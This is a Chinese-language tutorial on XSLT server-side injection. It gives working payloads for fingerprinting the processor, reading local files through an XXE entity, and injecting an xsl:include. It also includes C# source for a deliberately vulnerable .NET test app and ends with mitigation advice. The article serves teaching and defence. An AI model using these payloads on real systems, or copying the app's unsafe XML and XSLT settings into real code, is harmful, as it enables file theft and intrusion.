解析XSLT服務(wù)器端注入攻擊
寫在前面的話
可擴(kuò)展樣式表轉(zhuǎn)換語言(XSLT)漏洞可以給受影響的應(yīng)用程序帶來嚴(yán)重的安全隱患,一般來說,這種漏洞將允許攻擊者在目標(biāo)設(shè)備上實現(xiàn)遠(yuǎn)程代碼執(zhí)行。目前已公開的XSLT遠(yuǎn)程代碼執(zhí)行漏洞可利用樣本有CVE-2012-5357(影響.Net Ektron CMS)、CVE-2012-1592(影響Apache Struts 2.0)和CVE-2005-3757(影響Google搜索工具)。
從上面這幾個漏洞樣本中我們可以看到,XSLT漏洞已經(jīng)存在已久了,雖然它不像XML注入、SQL注入或XSS漏洞一樣常見,但是我們經(jīng)常能夠在安全審計的過程中發(fā)現(xiàn)這種漏洞。不過,目前還沒有多少人真正了解針對這種漏洞的利用技術(shù)。
在這篇文章中,我們將跟大家分享一些針對XSLT的攻擊案例,并讓大家了解到這項技術(shù)的安全缺陷。簡而言之,這種類型的漏洞將允許攻擊者實現(xiàn)遠(yuǎn)程代碼執(zhí)行、從遠(yuǎn)程系統(tǒng)中竊取數(shù)據(jù)、執(zhí)行網(wǎng)絡(luò)掃描、訪問目標(biāo)用戶內(nèi)部網(wǎng)絡(luò)資源等惡意活動。
除此之外,我們還提供了一個包含了相關(guān)XSLT漏洞的簡單應(yīng)用,并在文章結(jié)尾給出了針對此漏洞的緩解方案。
XSLT是什么?
XSL(可擴(kuò)展樣式表語言)是一種用于轉(zhuǎn)換XML文檔的語言,XSLT表示的就是XSL轉(zhuǎn)換,而XSL轉(zhuǎn)換指的就是XML文檔本身。轉(zhuǎn)換后得到的一般都是不同的XML文檔或其他類型文檔,例如HTML文檔、CSV文件以及明文文本文件等等。
一般來說,應(yīng)用程序或模板引擎在處理不同文件類型時需要使用XSLT來進(jìn)行數(shù)據(jù)轉(zhuǎn)換。很多企業(yè)級應(yīng)用比較喜歡使用XSLT,比如說,多用戶發(fā)票應(yīng)用程序可以使用XSLT來允許客戶自定義它們的發(fā)票,客戶可以根據(jù)自己的需求來修改發(fā)票信息以及格式。
其他常見應(yīng)用:
- 報告功能
 - 多種格式的數(shù)據(jù)導(dǎo)出功能;
 - 數(shù)據(jù)打印和輸出功能;
 - 電子郵件;
 
在介紹攻擊技術(shù)之前,我們先來看一看數(shù)據(jù)轉(zhuǎn)換的實例。下面這個XML文件包含有多個水果名稱(fruits)以及相關(guān)描述:
- <?xml version="1.0" ?>
 - <fruits>
 - <fruit>
 - <name>Lemon</name>
 - <description>Yellow and sour</description>
 - </fruit>
 - <fruit>
 - <name>Watermelon</name>
 - <description>Round, green outside, red inside</description>
 - </fruit>
 - </fruits>
 
接下來,我們可以使用下面這種XSL轉(zhuǎn)換技術(shù)來將XML文檔轉(zhuǎn)換為明文文本文件:
- <?xml version="1.0" encoding="utf-8"?>
 - <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 - <xsl:template match="/fruits">
 - Fruits:
 - <!-- Loop for each fruit -->
 - <xsl:for-each select="fruit">
 - <!-- Print name: description -->
 - - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
 - </xsl:for-each>
 - </xsl:template>
 - </xsl:stylesheet>
 
轉(zhuǎn)換之后的明文文本文件內(nèi)容如下:
- Fruits:
 - - Lemon: Yellow and sour
 - - Watermelon: Round, green outside, red inside
 
利用XSLT服務(wù)器端注入漏洞
在這一部分,我們將跟大家介紹如何發(fā)現(xiàn)并利用應(yīng)用程序中的XSLT漏洞。下面的樣本使用了微軟的System.Xml XSLT實現(xiàn),不過類似的技術(shù)也應(yīng)用到了很多類似Libxslt、Saxon和Xalan等常見代碼庫上。
尋找漏洞切入點
首先我們需要識別出應(yīng)用程序包含漏洞的部分,一般來說這種漏洞會存在于應(yīng)用程序允許上傳任意XSLT文件的地方。除此之外,如果應(yīng)用程序存在這種漏洞的話,它很可能會使用不受信任的用戶輸入來動態(tài)生成XSL轉(zhuǎn)換后的XML文檔。
比如說,應(yīng)用程序可以生成下列XSLT文檔,而字符串“Your Company Name Here”來自于不受信任的用戶輸入。
- <?xml version=”1.0” encoding=”utf-8”?>
 - <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 - <xsl:template match="/fruits">
 - Your Company Name Here
 - Fruits:
 - <!-- Loop for each fruit -->
 - <xsl:for-each select="fruit">
 - <!-- Print name: description -->
 - - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
 - </xsl:for-each>
 - </xsl:template>
 - <xsl:include href="external_transform.xslt"/>
 - </xsl:stylesheet>
 
為了確認(rèn)應(yīng)用程序是否存在這個漏洞,我們可以向其注入一些類似雙引號、單引號以及破折號等特殊字符,因為這類字符可以讓XML文檔中的語句失效。如果服務(wù)器返回了錯誤,那么這個應(yīng)用就很有可能存在漏洞。需要注意的是,這種方法同樣適用于XML注入漏洞。
為了方便演示,我們假設(shè)下面給出的樣本允許我們提交任意XSLT文檔。
system-property()函數(shù)
不同的代碼庫所實現(xiàn)的XSLT功能也不同,代碼庫A實現(xiàn)了的功能代碼庫B不一定會實現(xiàn),而且就算實現(xiàn)的是相同的功能,不同代碼庫的實現(xiàn)方式也不同。一般來說,舊版本的代碼庫默認(rèn)會開啟很多危險的功能,而新版本代碼庫的很多功能往往需要開發(fā)人員去手動開啟。
我們可以使用system-property()函數(shù)來查看代碼庫的開發(fā)者名稱,該功能符合XSLT v1.0標(biāo)準(zhǔn),所有的代碼庫都實現(xiàn)了這種功能。
有效參數(shù):
- xsl:vendor
 - xsl:vendor-url
 - xsl:version
 
下列轉(zhuǎn)換可以用來確定代碼庫的開發(fā)者(vendor):
- <?xml version="1.0" encoding="utf-8"?>
 - <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 - <xsl:template match="/fruits">
 - <xsl:value-of select="system-property('xsl:vendor')"/>
 - </xsl:template>
 - </xsl:stylesheet>
 
由于我們的測試目標(biāo)使用的是Microsoft .Net System.xml實現(xiàn),因此返回的結(jié)果為“Microsoft”:
- Microsoft
 
XXE與數(shù)據(jù)提取
除了常見的XML攻擊之外,XXE攻擊同樣可以影響XSLT。在下面的樣本中,我們使用一個外部實體讀取出了“C:\secretfruit.txt”文件的內(nèi)容:
- <?xml version="1.0" encoding="utf-8"?>
 - <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
 - <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 - <xsl:template match="/fruits">
 - Fruits &ext_file;:
 - <!-- Loop for each fruit -->
 - <xsl:for-each select="fruit">
 - <!-- Print name: description -->
 - - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
 - </xsl:for-each>
 - </xsl:template>
 - </xsl:stylesheet>
 
ENTITY元素將文件內(nèi)容存儲在了“ext_file”引用中,隨后我們可以用“&ext_file;”語句將內(nèi)容存儲在了主文檔中。輸出數(shù)據(jù)則包含了文件中的秘密內(nèi)容(“Golden Apple”):
- Fruits Golden Apple:
 - - Lemon: Yellow and sour
 - - Watermelon: Round, green outside, red inside
 
這項技術(shù)可以用來遠(yuǎn)程獲取存儲在本地Web服務(wù)器中的文件內(nèi)容,這些文件可以是包含了憑證數(shù)據(jù)的配置文件或者是包含了敏感信息的文件等等。除此之外,攻擊者還可以通過UNC (\\servername\share\file)路徑或者URL (http://servername/file)來獲取目標(biāo)內(nèi)部網(wǎng)絡(luò)系統(tǒng)中托管的文件。
Import和Include
import和include標(biāo)簽可以用來合并多個XSLT文檔,如果我們只能在XSLT文檔中間注入內(nèi)容的話,我們也許就不能直接使用XML外部實體(XXE)攻擊或腳本來進(jìn)行攻擊了,因為這些攻擊技術(shù)要求我們在文檔頭部實現(xiàn)內(nèi)容注入。
我們還是使用之前那個XSLT文檔來進(jìn)行演示:
- <?xml version=”1.0” encoding=”utf-8"?>
 - <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 - <xsl:template match="/fruits">
 - Your Company Name Here
 - Fruits:
 - <!-- Loop for each fruit -->
 - <xsl:for-each select="fruit">
 - <!-- Print name: description -->
 - - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
 - </xsl:for-each>
 - </xsl:template>
 - <xsl:include href="external_transform.xslt"/>
 - </xsl:stylesheet>
 
我們需要include下面這個名為“external_transform.xslt”的外部XSLT文件:
- <?xml version=”1.0” encoding=”utf-8”?>
 - <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 - <xsl:template match="/">
 - Hello from the external transformation
 - </xsl:template>
 - </xsl:stylesheet>
 
為了include外部文檔,我們需要注入下列標(biāo)簽:
- <xsl:include href="external_transform.xslt"/>
 
但是這里有一個問題,即“xsl:include”標(biāo)簽無法包含在一個“xsl:template”標(biāo)簽中,而且生成的文件必須是XML文檔。
因此,我們首先需要閉合“xsl:template”標(biāo)簽,然后添加“xsl:include”標(biāo)簽,最終的Payload如下:
- </xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
 
注入完成之后,生成的XSLT文檔如下:
- <?xml version="1.0" encoding="utf-8"?>
 - <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 - <xsl:template match="/fruits">
 - </xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
 - Fruits:
 - <!-- Loop for each fruit -->
 - <xsl:for-each select="fruit">
 - <!-- Print name: description -->
 - - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
 - </xsl:for-each>
 - </xsl:template>
 - <xsl:include href="external_transform.xslt"/>
 - </xsl:stylesheet>
 
轉(zhuǎn)換結(jié)果如下:
- Hello from the external transformation
 
注:在XXE和document()函數(shù)的幫助下,“include”和“import”標(biāo)簽同樣可以用來進(jìn)行提取數(shù)據(jù)以及端口掃描等操作。
可用于測試XSLT漏洞的App
為了給大家提供一種快速測試Payload的方法,我們專門開發(fā)了一款包含XSLT漏洞的小型.Net應(yīng)用,這款應(yīng)用使用了.Net的System.Xml實現(xiàn)。
下面給出的是應(yīng)用的源代碼,你可以使用Microsoft Visual Studio對其進(jìn)行編譯。應(yīng)用程序的源代碼以及編譯版本可點擊【這里】獲取。源代碼如下:
- using System;
 - using System.Xml;
 - using System.Xml.Xsl;
 - namespace XsltConsoleApplication
 - {
 - class Program
 - {
 - /*
 - This code contains serious vulnerabilities and is provided for training purposes only!
 - DO NOT USE ANYWHERE FOR ANYTHING ELSE!!!
 - */
 - static void Main(string[] args)
 - {
 - Console.WriteLine("\n#####################################################################");
 - Console.WriteLine("# #");
 - Console.WriteLine("# This is a Vulnerable-by-Design application to test XSLT Injection #");
 - Console.WriteLine("# #");
 - Console.WriteLine("#####################################################################\n");
 - Console.WriteLine("The application expects (in the current working directory):");
 - Console.WriteLine(" - an XML file (data.xml) and\n - an XSLT style sheet (transform.xslt)\n");
 - Console.WriteLine("===================================================================");
 - String transformationXsltFileURI = "transform.xslt";
 - String dataXMLFileURI = "data.xml";
 - // Enable DTD processing to load external XML entities for both the XML and XSLT file
 - XmlReaderSettings vulnerableXmlReaderSettings = new XmlReaderSettings();
 - vulnerableXmlReaderSettings.DtdProcessing = DtdProcessing.Parse;
 - vulnerableXmlReaderSettings.XmlResolver = new XmlUrlResolver();
 - XmlReader vulnerableXsltReader = XmlReader.Create(transformationXsltFileURI, vulnerableXmlReaderSettings);
 - XmlReader vulnerableXmlReader = XmlReader.Create(dataXMLFileURI, vulnerableXmlReaderSettings);
 - XsltSettings vulnerableSettings = new XsltSettings();
 - // Embedded script blocks and the document() function are NOT enabled by default
 - vulnerableSettings.EnableDocumentFunction = true;
 - vulnerableSettings.EnableScript = true;
 - // A vulnerable settings class can also be created with:
 - // vulnerableSettings = XsltSettings.TrustedXslt;
 - XslCompiledTransform vulnerableTransformation = new XslCompiledTransform();
 - // XmlUrlResolver is the default resolver for XML and XSLT and supports the file: and http: protocols
 - XmlUrlResolver vulnerableResolver = new XmlUrlResolver();
 - vulnerableTransformation.Load(vulnerableXsltReader, vulnerableSettings, vulnerableResolver);
 - XmlWriter output = new XmlTextWriter(Console.Out);
 - // Run the transformation
 - vulnerableTransformation.Transform(vulnerableXmlReader, output);
 - }
 - }
 - }
 
注:該應(yīng)用要求當(dāng)前工作目錄中存儲data.xml和transformation.xslt文件。
緩解方案
如果你的應(yīng)用程序使用了XSLT,那我建議你可以考慮以下緩解方案:
- 盡可能避免用戶提供的XSLT文檔;
 - 不要使用不受信任的輸入來生成XSLT文檔,例如拼接的字符串。如果你需要使用非靜態(tài)值,你可以選擇從XML數(shù)據(jù)文件或者XSLT文檔中獲取。
 - 禁用XSLT代碼庫實現(xiàn)的所有危險功能,因為代碼庫的默認(rèn)配置通常都是不安全的。確保禁用嵌入式腳本擴(kuò)展,以及其他允許讀寫外部文件的專用擴(kuò)展。
 
如果你想了解更多關(guān)于熱門XSLT代碼庫的功能以及相應(yīng)的默認(rèn)配置,可以參考Emanuel Duss 和Roland Bischofberger發(fā)布的文檔【參考文獻(xiàn)】。
總結(jié)
對于很多應(yīng)用程序來說,XSLT雖然是一種功能強(qiáng)大的工具,但它也有很多不為人知的弱點。不良的編碼習(xí)慣將有可能讓應(yīng)用程序出現(xiàn)安全漏洞,而這些漏洞將有可能允許攻擊者遠(yuǎn)程控制你的應(yīng)用程序并從中提取數(shù)據(jù)。















 
 
 




 
 
 
 